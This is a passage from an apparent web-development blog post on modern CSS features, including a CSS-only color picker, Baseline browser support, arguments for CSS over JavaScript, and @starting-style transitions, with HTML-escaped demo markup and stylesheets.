360px) {&#xD;&#xA;      font-size: 50%;&#xD;&#xA;    }&#xD;&#xA;    &amp;:not(:has(&gt;color-swatch&gt;div:active)) &gt; color-swatch &gt; div:hover {&#xD;&#xA;      padding-left: 64px;&#xD;&#xA;    }&#xD;&#xA;    color-swatch {&#xD;&#xA;      color-scheme: only light;&#xD;&#xA;      margin: 10px;&#xD;&#xA;      border-radius: 4px;&#xD;&#xA;      overflow: clip;&#xD;&#xA;      color: #000;&#xD;&#xA;      width: calc(100% - 20px);&#xD;&#xA;      height: 64px;&#xD;&#xA;      display: flex;&#xD;&#xA;      box-shadow: 1px 1px 5px 0 #0004;&#xD;&#xA;      &gt;div {&#xD;&#xA;        flex-grow: 1;&#xD;&#xA;        padding: 4px;&#xD;&#xA;        font-weight: 600;&#xD;&#xA;        display: flex;&#xD;&#xA;        justify-content: flex-end;&#xD;&#xA;        align-items: flex-end;&#xD;&#xA;        -webkit-user-select: none;&#xD;&#xA;        user-select: none;&#xD;&#xA;        transition: padding 0.4s, box-shadow 0.4s, scale 0.4s;&#xD;&#xA;        cursor: grab;&#xD;&#xA;        box-shadow: none;&#xD;&#xA;        &amp;:active {&#xD;&#xA;          cursor: grabbing;&#xD;&#xA;          /*padding-left: 32px;*/&#xD;&#xA;          padding-left: 52px;&#xD;&#xA;          box-shadow: 0 0 16px #0005;&#xD;&#xA;          z-index: 10;&#xD;&#xA;        }&#xD;&#xA;        &amp;:last-child {&#xD;&#xA;          margin-right: -1px;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      &amp;[success] {&#xD;&#xA;        color: #FFF;&#xD;&#xA;        &gt;:nth-child(1) { background: var(--success); color: var(--success-contrast); }&#xD;&#xA;        &gt;:nth-child(2) { background: var(--danger); color: var(--danger-contrast); }&#xD;&#xA;        &gt;:nth-child(3) { background: var(--warning); color: var(--warning-contrast); }&#xD;&#xA;        &gt;:nth-child(4) { background: var(--info); color: var(--info-contrast); }&#xD;&#xA;      }&#xD;&#xA;      &amp;[primary] {&#xD;&#xA;        &gt;:nth-child(1) { background: var(--primary); color: var(--primary-contrast); }&#xD;&#xA;        &gt;:nth-child(2) { background: var(--complimentary); color: var(--complimentary-contrast); }&#xD;&#xA;        &gt;:nth-child(3) { background: var(--secondary); color: var(--secondary-contrast); }&#xD;&#xA;      }&#xD;&#xA;      &amp;[monochrome] {&#xD;&#xA;        &gt;:nth-child(-n+5) { color: #FFF; }&#xD;&#xA;        &gt;:nth-child(1) { background: var(--monochrome-100); }&#xD;&#xA;        &gt;:nth-child(2) { background: var(--monochrome-200); }&#xD;&#xA;        &gt;:nth-child(3) { background: var(--monochrome-300); }&#xD;&#xA;        &gt;:nth-child(4) { background: var(--monochrome-400); }&#xD;&#xA;        &gt;:nth-child(5) { background: var(--monochrome-500); }&#xD;&#xA;        &gt;:nth-child(6) { background: var(--monochrome-600); }&#xD;&#xA;        &gt;:nth-child(7) { background: var(--monochrome-700); }&#xD;&#xA;        &gt;:nth-child(8) { background: var(--monochrome-800); }&#xD;&#xA;        &gt;:nth-child(9) { background: var(--monochrome-900); }&#xD;&#xA;      }&#xD;&#xA;      &amp;[analogous] {&#xD;&#xA;        color: var(--primary-contrast);&#xD;&#xA;        &gt;:nth-child(1) { background: var(--analogous-a); }&#xD;&#xA;        &gt;:nth-child(2) { background: var(--analogous-b); }&#xD;&#xA;        &gt;:nth-child(3) { background: var(--primary); }&#xD;&#xA;        &gt;:nth-child(4) { background: var(--analogous-c); }&#xD;&#xA;        &gt;:nth-child(5) { background: var(--analogous-d); }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;/details&gt;&#xD;&#xA;&lt;p style=&#34;width:fit-content;translate: 0 -12px;margin-right: 80px;&#34;&gt;&lt;em&gt;(yes! the color picker above is written in just css)&lt;/em&gt;&lt;/p&gt;&#xD;&#xA;&lt;p class=&#34;safari&#34; style=&#34;color:red&#34;&gt;Safari is currently broken when handling of cqw/cqh units, therefore the demo above may not work correctly. If this happens, try using Firefox or Chrome instead.&lt;/p&gt;&#xD;&#xA;&lt;p&gt;There are so many cool new CSS features that make writing it just that little bit nicer. Things like letting you use &lt;code&gt;(width &amp;lt;= 768px)&lt;/code&gt; instead of &lt;code&gt;(max-width: 768px)&lt;/code&gt; in your &lt;a href=&#34;https://web.dev/articles/media-query-range-syntax&#34;&gt;&lt;em&gt;@media&lt;/em&gt; query&lt;/a&gt;, the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/length#lh&#34;&gt;lh unit&lt;/a&gt; that matches the line-height, the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/scrollbar-gutter&#34;&gt;scrollbar-gutter&lt;/a&gt; property that solves the little scrollbar-related layout shifts, or the ability to finally &lt;a href=&#34;https://web.dev/blog/align-content-block&#34;&gt;center stuff vertically&lt;/a&gt; without flex/grid.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame aria-label=&#34;Baseline logo&#34; role=&#34;img&#34; flex style=&#39;user-select:none;width: calc(100% - 64px);padding:32px;justify-content: center;align-items: center;font: 32px var(--inter-stack);line-height: 0;color-scheme:only light&#39;&gt;&#xD;&#xA;&lt;div style=&#34;border:8px solid #148936;width:32px;height:32px;border-top:0;border-left:0;rotate:45deg;box-shadow:-8px 0px 0 #FFF inset, 8px 8px 0 #B9D8BF inset;flex:none&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div style=&#34;margin:0 calc(min(5vw,25px)) 0 calc(1px * sqrt(40 * 40 * 2) - 40px - 1px * sqrt(8 * 8 * 2));border-left:8px solid #148936;width:32px;height:40px;rotate:45deg;box-shadow:-8px 8px 0 #B9D8BF inset, 8px 0px 0 #FFF inset, -8px -4px 0 #FFF, 0 -8px 0 #B9D8BF inset;flex:none&#34;&gt;&lt;/div&gt;Baseline&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;p&gt;And all of this is brought together by the cherry on top that is &lt;a href=&#34;https://web-platform-dx.github.io/web-features/&#34;&gt;Baseline&lt;/a&gt;. It&amp;rsquo;s a guarantee that a specific feature works in every major browser&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;, and it also lets you know since when - &lt;strong&gt;newly available&lt;/strong&gt; features work in all the latest browsers, and &lt;strong&gt;widely available&lt;/strong&gt; ones work in browsers up to 2.5 years old. &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/Nesting_selector&#34;&gt;Nesting&lt;/a&gt;, for example, has been fully supported in all browsers since December 2023, and thus will become &lt;em&gt;widely available&lt;/em&gt; in June 2026. You can find the Baseline symbols in various places, such as the MDN docs&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;p&gt;These are just a few examples of what makes modern CSS so much nicer to write than what we had even just 5 years ago. It almost feels like comparing ES3&lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt; to ECMAScript 2025 - and I wouldn&amp;rsquo;t blame your grudge if the former is what you&amp;rsquo;re used to.&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-bother&#34;&gt;Why bother?&lt;/h2&gt;&#xA;&lt;p&gt;Okay, so CSS has more quality-of-life stuff than before. Still, why would one choose to use it over something else? Doesn&amp;rsquo;t JavaScript already let us do everything just fine?&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame aria-label=&#34;You need to disable JavaScript to run this app&#34; role=&#34;img&#34; center style=&#34;height: 200px;background:#EEE&#34;&gt;&lt;fake-frame style=&#34;width:50%;min-width:200px;height:90%;font:initial&#34;&gt;You need to &lt;noscript&gt;enable&lt;style&gt;.noJs{display:none}&lt;/style&gt;&lt;/noscript&gt;&lt;span class=&#34;noJs&#34;&gt;disable&lt;/span&gt; JavaScript to run this app.&lt;/fake-frame&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;p&gt;I think my reasons for using CSS fall into two main categories - because some users don&amp;rsquo;t want to use JavaScript, and because doing things in CSS can be genuinely better.&lt;/p&gt;&#xA;&lt;p&gt;My blog, for example, focuses on infosec topics. Many security researchers (myself included) use a hardened browser configuration to protect themselves, which often means disabling JavaScript by default. I think it&amp;rsquo;s nice that they can fully experience my blog without changing their security settings or running a separate, sandboxed browser.&lt;/p&gt;&#xA;&lt;p&gt;The same goes for privacy-conscious users, and it makes sense! As an experiment, I opened up a local Estonian news site in a web browser with JavaScript enabled. Can you guess how many js files it fetched? &lt;em&gt;(answer in footnote&lt;sup id=&#34;fnref:8&#34;&gt;&lt;a href=&#34;#fn:8&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;8&lt;/a&gt;&lt;/sup&gt;)&lt;/em&gt; That&amp;rsquo;s crazy! You do not want that running on your computer.&lt;/p&gt;&#xA;&lt;p&gt;But surely, you are not &lt;em&gt;one of the evil devs&lt;/em&gt; who loads a double-digit number of analytics scripts on your site - is there still any reason to reach for CSS?&lt;/p&gt;&#xA;&lt;p&gt;Well, I think a lot of things are just plain nicer to make in HTML/CSS, both from the developer and end-user perspectives, be it for ease of use, accessibility, or performance.&lt;/p&gt;&#xA;&lt;p&gt;Hover effects for your buttons? Toast animations? Input validation? All of these things &lt;em&gt;just work&lt;/em&gt; in CSS, and you won&amp;rsquo;t have to reinvent the wheel, or throw kilobytes of someone else&amp;rsquo;s code at it. There will always be some cases where you do need that extra flexibility JavaScript often provides, but if you don&amp;rsquo;t need that, and doing it in CSS is easier, then why not save yourself the trouble?&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame aria-label=&#34;A fun pink button demo with shading, gradient, and shadows.&#34; role=&#34;figure&#34; style=&#34;height: 200px&#34; id=&#34;cool-anim&#34;&gt;&#xD;&#xA;&lt;art-strs&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:1;--bor:hsl(from #fcc1ff calc(h + 2) s calc(l + 2));top:20px;scale:0.9&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:3;--bor:hsl(from #fcc1ff calc(h - 5) s calc(l - 5));top:50px;scale:0.8&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:2;--bor:hsl(from #fcc1ff calc(h + 7) s calc(l + 7));top:80px;scale:1.0&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:5;--bor:hsl(from #fcc1ff calc(h - 3) s calc(l - 3));top:120px;scale:0.85&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:4;--bor:hsl(from #fcc1ff calc(h + 5) s calc(l + 5));top:150px;scale:1.1&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:6;--bor:hsl(from #fcc1ff calc(h - 2) s calc(l - 2));top:170px;scale:0.95&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:5.5;--bor:hsl(from #fcc1ff calc(h - 2) s calc(l + 2));top:40px;scale:0.95&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:3.5;--bor:hsl(from #fcc1ff calc(h + 5) s calc(l + 5));top:160px;scale:1.1&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:0.5;--bor:hsl(from #fcc1ff calc(h + 7) s calc(l - 7));top:130px;scale:0.9&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:4.5;--bor:hsl(from #fcc1ff calc(h - 3) s calc(l - 3));top:30px;scale:0.85&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:1.5;--bor:hsl(from #fcc1ff calc(h + 5) s calc(l + 5));top:140px;scale:1.0&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;  &lt;art-str style=&#34;--off:2.5;--bor:hsl(from #fcc1ff calc(h - 2) s calc(l - 2));top:90px;scale:0.8&#34;&gt;&lt;/art-str&gt;&#xD;&#xA;&lt;/art-strs&gt;&#xD;&#xA;&lt;art-box class=&#34;pwWin&#34; style=&#34;background:#FBC3FF;--transition-delay:0.1s,0.1s,0.0s,0.1s;left:calc(50cqw - 384px + max(0px,76px - 10cqw) * 2 + 50px);rotate:-3deg&#34;&gt;&lt;/art-box&gt;&#xD;&#xA;&lt;art-box class=&#34;pwWin&#34; style=&#34;background:#EEC3FF;--transition-delay:0.2s,0.2s,0.02s,0.2s;left:calc(50cqw - 384px + max(0px,76px - 10cqw) * 2 + 100px);top:34px;rotate:-1deg&#34;&gt;&lt;/art-box&gt;&#xD;&#xA;&lt;art-box class=&#34;pwWin&#34; style=&#34;background:#AAC3FF;--transition-delay:0.3s,0.3s,0.04s,0.3s;left:calc(50cqw - 384px + max(0px,76px - 10cqw) * 2 + 160px);rotate:2deg&#34;&gt;&lt;/art-box&gt;&#xD;&#xA;&lt;art-box class=&#34;pwWin&#34; style=&#34;background:#BBC3FF;--transition-delay:0.4s,0.4s,0.06s,0.4s;right:calc(50cqw - 384px + max(0px,76px - 10cqw) * 2 + 55px);rotate:2deg;width:192px;&#34;&gt;&lt;/art-box&gt;&#xD;&#xA;&lt;art-box class=&#34;pwWin&#34; style=&#34;background:#88C3FF;--transition-delay:0.5s,0.5s,0.08s,0.5s;right:calc(50cqw - 384px + max(0px,76px - 10cqw) * 2 + 65px);rotate:-3deg;width:192px;&#34;&gt;&lt;/art-box&gt;&#xD;&#xA;&lt;art-box class=&#34;pwWin&#34; style=&#34;background:#66C3FF;--transition-delay:0.6s,0.6s,0.1s,0.6s;right:calc(50cqw - 384px + max(0px,76px - 10cqw) * 2 + 75px);rotate:-8deg;width:192px;&#34;&gt;&lt;/art-box&gt;&#xD;&#xA;&lt;art-style&gt;&#xD;&#xA;&lt;style aria-hidden=&#34;true&#34; type=&#34;text/css&#34;&gt;&#xD;&#xA;  @property --bg1 {&#xD;&#xA;    syntax: &#39;&lt;color&gt;&#39;;&#xD;&#xA;    inherits: true;&#xD;&#xA;    initial-value: #fbc2ff;&#xD;&#xA;  }&#xD;&#xA;  @property --bg2 {&#xD;&#xA;    syntax: &#39;&lt;color&gt;&#39;;&#xD;&#xA;    inherits: true;&#xD;&#xA;    initial-value: #ffe1fd;&#xD;&#xA;  }&#xD;&#xA;  @property --bg3 {&#xD;&#xA;    syntax: &#39;&lt;color&gt;&#39;;&#xD;&#xA;    inherits: true;&#xD;&#xA;    initial-value: #ffe1fd;&#xD;&#xA;  }&#xD;&#xA;  @property --bg4 {&#xD;&#xA;    syntax: &#39;&lt;color&gt;&#39;;&#xD;&#xA;    inherits: true;&#xD;&#xA;    initial-value: #fad1fb;&#xD;&#xA;  }&#xD;&#xA;  @keyframes tri {&#xD;&#xA;  from {&#xD;&#xA;    translate: 100px -10px;&#xD;&#xA;    rotate: 0deg;&#xD;&#xA;  }&#xD;&#xA;  to {&#xD;&#xA;    translate: -1000px -10px;&#xD;&#xA;    rotate: 180deg;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;@keyframes art {&#xD;&#xA;  from {&#xD;&#xA;    translate: 100% 0;&#xD;&#xA;    rotate: 20deg;&#xD;&#xA;  }&#xD;&#xA;  to {&#xD;&#xA;    translate: -100% 0;&#xD;&#xA;    rotate: -20deg;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;@keyframes stl {&#xD;&#xA;  from {&#xD;&#xA;    translate: 0 calc(-100% + 220px);&#xD;&#xA;  }&#xD;&#xA;  to {&#xD;&#xA;    translate: 0 0%;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;  #cool-anim {&#xD;&#xA;    touch-action: none;&#xD;&#xA;    display: flex;&#xD;&#xA;    justify-content: center;&#xD;&#xA;    align-items: center;&#xD;&#xA;    container-type: inline-size;&#xD;&#xA;    button {&#xD;&#xA;      --bg1: #fbc2ff;&#xD;&#xA;      --bg2: #ffe1fd;&#xD;&#xA;      --bg3: #ffe1fd;&#xD;&#xA;      --bg4: #fad1fb;&#xD;&#xA;      position: relative;&#xD;&#xA;      font-family: var(--inter-stack);&#xD;&#xA;      font-size: 150%;&#xD;&#xA;      cursor: pointer;&#xD;&#xA;      border: none;&#xD;&#xA;      background-clip: border-box;&#xD;&#xA;      background: linear-gradient(var(--bg1), var(--bg2));&#xD;&#xA;      background-size: 110%;&#xD;&#xA;      background-position: center;&#xD;&#xA;      border-radius: 12px;&#xD;&#xA;      outline: 1px solid #19015908;&#xD;&#xA;      box-shadow: 0 2px #ca00ff22, 0 8px 12px #0001, 0 6px 24px 24px #FFF;&#xD;&#xA;      /*&#xD;&#xA;      color: #631980;&#xD;&#xA;      text-shadow: 1px 1px #FFF8;&#xD;&#xA;      */&#xD;&#xA;      color: #FFF6;&#xD;&#xA;      text-shadow: -1px -1px #C692CA; /*#c579cb*/&#xD;&#xA;      z-index: 1;&#xD;&#xA;      padding: 8px 16px;&#xD;&#xA;      padding-right: 15px;&#xD;&#xA;      will-change: transform;&#xD;&#xA;      --ease1: cubic-bezier(0,0,0,1.2);&#xD;&#xA;      --ease2: cubic-bezier(0,0,0,1);&#xD;&#xA;      &amp;:not(:active) {&#xD;&#xA;        --ease1: cubic-bezier(0,0,0,2.5);&#xD;&#xA;      }&#xD;&#xA;      transition: translate 0.4s var(--ease1), box-shadow 0.4s var(--ease1),--bg1 0.3s var(--ease2),--bg2 0.2s var(--ease2),--bg3 0.3s var(--ease2),--bg4 0.2s var(--ease2);&#xD;&#xA;      &amp;::before {&#xD;&#xA;        content: &#39;&#39;;&#xD;&#xA;        position: absolute;&#xD;&#xA;        top: 0; right: 0; bottom: 0; left: 0;&#xD;&#xA;        z-index: -1;&#xD;&#xA;        margin: 3px;&#xD;&#xA;        border-radius: 10px;&#xD;&#xA;        background: linear-gradient(var(--bg3), var(--bg4)/*#fbc2ff*/);&#xD;&#xA;        box-shadow: 0 -1px 2px inset #0400ff03;&#xD;&#xA;      }&#xD;&#xA;      &amp;:hover, &amp;:focus-visible {&#xD;&#xA;        --bg1: hsl(from #fbc2ff h s calc(l + 2));&#xD;&#xA;        --bg2: hsl(from #ffe1fd h s calc(l + 2));&#xD;&#xA;        --bg3: hsl(from #ffe1fd h s calc(l + 1));&#xD;&#xA;        --bg4: hsl(from #fad1fb h s calc(l + 1));&#xD;&#xA;      }&#xD;&#xA;      &amp;::after {&#xD;&#xA;        content: &#39;&#39;;&#xD;&#xA;        position: absolute;&#xD;&#xA;        top: 0; right: 0; bottom: 0; left: 0;&#xD;&#xA;        border-radius: 12px;&#xD;&#xA;        translate: 0 0.75px;&#xD;&#xA;        transition: translate 0.4s var(--ease1), opacity 0.1s var(--ease2);&#xD;&#xA;        outline: 2px solid #ff62f688;&#xD;&#xA;        outline-offset: 4px;&#xD;&#xA;        opacity: 0;&#xD;&#xA;      }&#xD;&#xA;      &amp;:focus-visible::after {&#xD;&#xA;        opacity: 1;&#xD;&#xA;      }&#xD;&#xA;      &amp;:active {&#xD;&#xA;        &amp;::after { translate: 0 -1.25px }&#xD;&#xA;        translate: 0 2px;&#xD;&#xA;        box-shadow: 0 0 #ca00ff22, 0 6px 12px #0001, 0 6px 24px 24px #FFF;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(button:active) art-box {&#xD;&#xA;      transform: translateY(15px) scale(0.8) rotate(2deg);&#xD;&#xA;      opacity: 0;&#xD;&#xA;      filter: opacity(1);&#xD;&#xA;      transition: transform 0s 0.15s, opacity 0.15s, filter 0s 0.15s, translate 0s 0.15s, visibility 0s allow-discrete;&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(button:active:not(:hover)):has(art-target:not(:hover)) art-box {&#xD;&#xA;      transition: none;&#xD;&#xA;    }&#xD;&#xA;    art-box {&#xD;&#xA;      position: absolute;&#xD;&#xA;      display: block;&#xD;&#xA;      background: #FBC3FF;&#xD;&#xA;      width: 128px;&#xD;&#xA;      height: 128px;&#xD;&#xA;      border-radius: 8px;&#xD;&#xA;      transform:  translateY(0) scale(1) rotate(0deg);&#xD;&#xA;      opacity: 0.9;&#xD;&#xA;      transition: transform 0.4s cubic-bezier(0,0,0,1.2), opacity 0.4s cubic-bezier(0,0,0,1), filter 2.6s cubic-bezier(0,0,0.5,0.5), translate 0.4s cubic-bezier(0,0,0,1), visibility 0s allow-discrete;&#xD;&#xA;      translate: 0 0px;&#xD;&#xA;      transition-delay: var(--transition-delay);&#xD;&#xA;      filter: opacity(0);&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(button:active) art-target {&#xD;&#xA;      display: block;&#xD;&#xA;    }&#xD;&#xA;    &amp;:not(:has(button:active)) {&#xD;&#xA;      &amp;:has(art-target:hover) art-box {&#xD;&#xA;        transform: translateY(15px) scale(0.8) rotate(2deg);&#xD;&#xA;        opacity: 0;&#xD;&#xA;        filter: opacity(1);&#xD;&#xA;        transition: none!important;&#xD;&#xA;      }&#xD;&#xA;      art-target, art-target:hover {&#xD;&#xA;        visibility: hidden;  &#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    art-target {&#xD;&#xA;      cursor: pointer;&#xD;&#xA;      &amp;:hover {&#xD;&#xA;        display: block;&#xD;&#xA;      }&#xD;&#xA;      display: none;&#xD;&#xA;      width: 100px;&#xD;&#xA;      height: 45px;&#xD;&#xA;      border-radius: 12px;&#xD;&#xA;      position: absolute;&#xD;&#xA;      z-index:2;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;#cool-anim {&#xD;&#xA;  -webkit-user-select: none;&#xD;&#xA;  user-select: none;&#xD;&#xA;  &amp;:not(:has(button:active)) {&#xD;&#xA;    * { animation-play-state: paused; }&#xD;&#xA;    art-str,style { opacity: 0; transition: opacity 0.2s; }&#xD;&#xA;  }&#xD;&#xA;  /*background: #001634;*/&#xD;&#xA;/*  background: #F6EEFF;*/&#xD;&#xA;  background: #FFF;&#xD;&#xA;  position: relative;&#xD;&#xA;  overflow: clip;&#xD;&#xA;  art-str {&#xD;&#xA;    display: block;&#xD;&#xA;    width: 0;&#xD;&#xA;    height: 0;&#xD;&#xA;    border: 16px solid;&#xD;&#xA;    --bor2: hsl(from var(--bor) h s calc(125 - l));&#xD;&#xA;    border-color: var(--bor2) #0000 #0000 var(--bor2);&#xD;&#xA;    position: absolute;&#xD;&#xA;    right: 0;&#xD;&#xA;    box-shadow: 1000px 0 0 var(--bor2);&#xD;&#xA;    transform: scale(0.1) rotate(calc(var(--off) / 6 * 360deg)) scaleX(0.6) rotate(45deg);&#xD;&#xA;    will-change: transform;&#xD;&#xA;    animation: tri 6s ease-out calc(-6s / 6 * var(--off)) infinite;&#xD;&#xA;    opacity: 1;&#xD;&#xA;    transition: opacity 2s 0.5s;&#xD;&#xA;  }&#xD;&#xA;  art-strs {&#xD;&#xA;    display: block;&#xD;&#xA;    /*&#xD;&#xA;    filter: drop-shadow(2px 0 #FFFA) drop-shadow(4px 0 #FFF8) drop-shadow(6px 0 #FFF6) drop-shadow(8px 0 #FFF4)  drop-shadow(10px 0 #FFF2);&#xD;&#xA;    */&#xD;&#xA;  }&#xD;&#xA;  art-style {&#xD;&#xA;    pointer-events: none;&#xD;&#xA;    display: block;&#xD;&#xA;    position: absolute;&#xD;&#xA;    right: 0;&#xD;&#xA;    animation: art 4s ease-out 0s infinite;&#xD;&#xA;    transform-origin: 50% 50%;&#xD;&#xA;    width: 100%;&#xD;&#xA;    height: 100%;&#xD;&#xA;  }&#xD;&#xA;  style {&#xD;&#xA;    text-align: center;&#xD;&#xA;    opacity: 0.2;&#xD;&#xA;    transition: opacity 2s 0.5s;&#xD;&#xA;    display: block;&#xD;&#xA;    font-family: var(--font-code);&#xD;&#xA;/*    letter-spacing: 5px;*/&#xD;&#xA;    /*white-space: pre-wrap;*/&#xD;&#xA;    white-space: pre-line;&#xD;&#xA;    line-height: 220px;&#xD;&#xA;    translate: 0 -10%;&#xD;&#xA;    animation: stl calc(4 * 48s) steps(48, end) -64s infinite;&#xD;&#xA;  }&#xD;&#xA;}&lt;/style&gt;&#xD;&#xA;&lt;/art-style&gt;&#xD;&#xA;&lt;button&gt;meow&lt;/button&gt;&#xD;&#xA;&lt;art-target class=&#34;pwWin&#34;&gt;&lt;/art-target&gt;&#xD;&#xA;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;p&gt;And the performance of CSS is so much better! Every JavaScript interaction has to go through an event loop that wastes CPU cycles, eats some battery, and adds that tiny bit of stutter to everything.&lt;/p&gt;&#xA;&lt;p&gt;Sure, in the grand scale of things it isn&amp;rsquo;t &lt;em&gt;that&lt;/em&gt; bad, APIs like &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame&#34;&gt;requestAnimationFrame&lt;/a&gt; are really good at keeping things smooth. But CSS animations run in the separate compositor thread, and &lt;a href=&#34;https://web.dev/articles/animations-and-performance#css_vs_javascript_performance&#34;&gt;aren&amp;rsquo;t affected&lt;/a&gt; by stutters and blocking in the event loop.&lt;/p&gt;&#xA;&lt;p&gt;It makes quite a difference on low-end devices, but feels nice even on high-end ones. CSS animations on my 240hz monitor look amazing&lt;sup id=&#34;fnref:9&#34;&gt;&lt;a href=&#34;#fn:9&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;9&lt;/a&gt;&lt;/sup&gt; - JS can look pretty good too, but it has that tiny bit of stutter to it that keeps it from being perfect, especially if you plan on running other heavy code at the same time.&lt;/p&gt;&#xA;&lt;p&gt;It also means you won&amp;rsquo;t have to worry as much about optimization, as the browser takes care of a lot more of the rendering side of things, and often runs your stuff on the GPU if possible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Pro tip! Wanna trigger animations from JS anyways? Use the modern &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API&#34;&gt;Web Animations API&lt;/a&gt; to easily play the smooth CSS animations from JS.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;transitioning&#34;&gt;Transitioning&lt;/h2&gt;&#xA;&lt;!--Speaking of which, let&#39;s get to the first show &amp; tell section of the post, where I show you something cool and tell you how it&#39;s made.--&gt;&#xD;&#xA;&lt;p&gt;Speaking of which, I think it&amp;rsquo;s time I start showing you practical examples, and a good place to &lt;em&gt;start&lt;/em&gt; showing the &lt;em&gt;styles&lt;/em&gt; is well, &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/@starting-style&#34;&gt;&lt;em&gt;@starting-style&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In the past it has been pretty annoying to add start animations (such as fade-ins) to elements. You&amp;rsquo;ve had to either set up an entire CSS animation with a separate &lt;em&gt;@keyframes&lt;/em&gt; block to go with it, or do a transition using JavaScript where you first add an element to the page, then wait a frame, and then add a class to the element.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: A toast message fading in from bottom&#34; role=&#34;figure&#34; id=&#34;starting-style-toast&#34;&gt;&lt;code-frame role=code style=&#34;height:150px&#34;&gt;.&lt;sx-y&gt;toast&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-p&gt;transition&lt;/sx-p&gt;: &lt;sx-a&gt;opacity&lt;/sx-a&gt; &lt;sx-n&gt;1s&lt;/sx-n&gt;, &lt;sx-a&gt;translate&lt;/sx-a&gt; &lt;sx-n&gt;1s&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;opacity&lt;/sx-p&gt;: &lt;sx-n&gt;1&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-p&gt;translate&lt;/sx-p&gt;: &lt;sx-n&gt;0&lt;/sx-n&gt; &lt;sx-n&gt;0&lt;/sx-n&gt;;&#xD;&#xA;  &lt;sx-z&gt;@starting-style&lt;/sx-z&gt; {&#xD;&#xA;    &lt;sx-p&gt;opacity&lt;/sx-p&gt;: &lt;sx-n&gt;0&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-p&gt;translate&lt;/sx-p&gt;: &lt;sx-n&gt;0&lt;/sx-n&gt; &lt;sx-n&gt;10px&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;}&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;height:150px&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;div class=&#34;toast&#34;&gt;Success!&lt;/div&gt;&lt;button&gt;replay&lt;/button&gt;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  #starting-style-toast {&#xD;&#xA;    fake-frame {&#xD;&#xA;      font-family: var(--inter-stack);&#xD;&#xA;      display: flex;&#xD;&#xA;      align-items: center;&#xD;&#xA;      justify-content: space-between;&#xD;&#xA;      flex-direction: column;&#xD;&#xA;    }&#xD;&#xA;    /* make it look nice */&#xD;&#xA;    .toast {&#xD;&#xA;      width: fit-content;&#xD;&#xA;      height: fit-content;&#xD;&#xA;      border: 1px solid #0001;&#xD;&#xA;      border-radius: 6px;&#xD;&#xA;      padding: 6px 12px;&#xD;&#xA;      background: hsl(100deg 100% 95%);&#xD;&#xA;      color: 